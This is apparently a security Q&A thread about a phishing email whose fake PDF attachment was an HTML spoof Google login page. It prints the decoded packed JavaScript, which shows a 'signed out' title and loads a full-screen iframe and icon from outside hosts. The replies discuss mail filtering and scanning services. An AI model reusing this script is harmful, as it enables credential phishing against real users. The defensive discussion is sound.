Our office received an email over Christmas. There was what appeared to be a PDF file attached.

When we examined the file it was actually a Html file for a spoof google login page.

It also had a large amount of encoded <Script>

The decoded script is:

eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('3.2.b="8\'a g r l";k{(j(){m 1=3.2.n(\'1\');1.p=\'o/x-4\';1.i=\'9 4\';1.h=\'6://c.f/d/q/D/H.G\';2.s(\'F\')[0].I(1)}())}J(e){}3.2.K.L="<5 E=\"6://w.v/u/t.y\" z=\"C: 0;B: 7%;A:7%\">";',48,48,'|link|document|window|icon|iframe|http|100|You|shortcut|ve|title|kitt|assets||ai|been|href|rel|function|try|out|var|createElement|image|type|img|signed|getElementsByTagName|daiso|vasdu|top|bowlanreedesntal||html|style|height|width|border|guoguo|src|head|ico|google|appendChild|catch|body|outerHTML'.split('|'),0,{}

Interestingly the URL in the HTML file was to the correct google login page

I thought that emails with scripts would be flagged automatically, akin to sending an .exe or .bat file

Are there any additional precautions we can take to ensure that messages such as this are flagged or moved to spam in future without user intervention?

  • flagged where? which system are you using? do you mean on outlook or something like that? are you talking about server level? too broad man... – OscarAkaElvis Jan 5 '17 at 15:31
  • Sorry, the email is routed through Zoho and then lands in our outlook inbox. – Dave B Jan 5 '17 at 15:34
  • Never used Zoho sorry. Anyway, it seems it support basic anti-spam features (whitelist/blacklist domains/addresses, etc). Look at this: zoho.com/mail/help/anti-spam.html . Not sure if it has more advanced features. – OscarAkaElvis Jan 5 '17 at 15:49
  • script-including html files can very useful; i'd hate to have to zip every SPA i sent someone. they are also supposed to be safe; JS running from file:/// has few "perms" – dandavis Jan 5 '17 at 15:53
  • This is a broad question, but there are many steps that can be taken to prevent this. Probably too much information to be said here. I'm not very familiar with Zoho, but I don't think that product is going to be able to offer advanced filtering. Take a look here for some information for implementing basic email policies. zoho.com/mail/help/adminconsole/email-policy.html – bigC5012 Jan 5 '17 at 16:51

It wasn't caught because it appears as a PDF to Zoho and their anti-malware system isn't sophisticated enough to detect the difference it appears.

I am assuming that you don't want to block PDF files and so you have very little that you can do about this. However, PDF's have "traditionally" carried their own dangers anyway and should never be opened unless you are convinced that they are legitimate and expected.

All you could do would be to add an additional mail scanning service to your mail routing. For example, on my personal domain, I use a cloud service called MailRoute. All the mail for my domain is routed through that which, once scans, forwards all legitimate mail to my mail server. It is very effective at finding malware and spam though I've no idea whether it would pick up that specific issue, perhaps you could try asking them.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.